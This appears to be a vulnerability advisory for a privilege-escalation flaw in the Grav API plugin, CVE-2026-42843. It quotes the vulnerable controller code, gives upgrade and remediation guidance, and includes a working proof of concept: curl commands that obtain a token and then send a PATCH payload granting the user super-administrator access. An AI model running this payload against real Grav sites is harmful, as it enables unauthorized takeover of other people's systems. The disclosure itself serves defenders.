Grav API Plugin CVE-2026-42843
HIGHCVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
2DescriptionNVD
Summary
An insecure direct object reference and logic flaw in the Grav API plugin (UsersController::update) allows any authenticated user with basic API access (api.access) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (admin.super and api.super), leading to full system compromise and potential RCE.
Details
The vulnerability is located in user/plugins/api/classes/Api/Controllers/UsersController.php within the update method.
The API allows users to update their own profiles if they possess the basic api.access permission:
// UsersController.php -> update()
$isSelf = $currentUser->username === $username;
if (!$isSelf) {
$this->requirePermission($request, 'api.users.write');
} else {
// Self-edit only requires api.access
$this->requirePermission($request, 'api.access');
}However, when filtering the fields that are allowed to be updated via a PATCH request, the access field (which defines the user's role and permissions) is indiscriminately included in the $allowedFields whitelist for all users:
// Partial update - only update provided fields
$allowedFields = ['email', 'fullname', 'title', 'state', 'language', 'content_editor', 'access', 'twofa_enabled'];
foreach ($allowedFields as $field) {
if (array_key_exists($field, $body)) {
$user->set($field, $body[$field]);
}
}Because there is no secondary check to verify if the user attempting to modify the access field is already an administrator, any low-privileged user can overwrite their own access object with a malicious payload granting themselves super: true.
PoC
- Prerequisites: You need a low-privileged user account (eg.
user1) that possesses the basicapi.accesspermission. - Obtain JWT: Authenticate to the API to obtain your
access_token:
curl -X POST http://<target>/api/v1/auth/token \
-H "Content-Type: application/json" \
-d '{"username":"user1","password":"your_password"}'- Exploit: Send a
PATCHrequest to the user update endpoint.
curl -X PATCH http://<target>/api/v1/users/user1 \
-H "X-API-Token: <your_access_token>" \
-H "Content-Type: application/json" \
-d "{\"access\":{\"admin\":{\"login\":true,\"super\":true},\"api\":{\"access\":true,\"super\":true},\"site\":{\"login\":true}}}"- Verification: Log in to the Grav Admin panel using the user credentials. You will now have full Super Administrator privileges.
Impact
This is a vertical Privilege Escalation vulnerability. Any user with baseline API access can elevate themselves to Super Admin. Once Super Admin privileges are obtained, the attacker takes complete control over the CMS. They can modify content, alter configurations, upload malicious plugins, or edit Twig templates outside of the sandbox to achieve RCE on the server.
AnalysisAI
Privilege escalation in Grav API Plugin (versions < 1.0.0-beta.15) allows any authenticated user with basic 'api.access' permission to elevate themselves to Super Administrator by sending a crafted PATCH request to modify their own permission configuration. The vulnerability, confirmed by vendor GitHub Security Advisory GHSA-r945-h4vm-h736, stems from inadequate authorization checks in the UsersController::update method, which permits self-editing users to overwrite the 'access' field containing role definitions. …
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RemediationAI
Within 24 hours: inventory all Grav instances and identify those running API Plugin versions < 1.0.0-beta.15; disable the API plugin if not actively required. Within 7 days: upgrade Grav API Plugin to version 1.0.0-beta.15 or later on all affected systems. …
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External POC / Exploit Code
Leaving vuln.today
GHSA-r945-h4vm-h736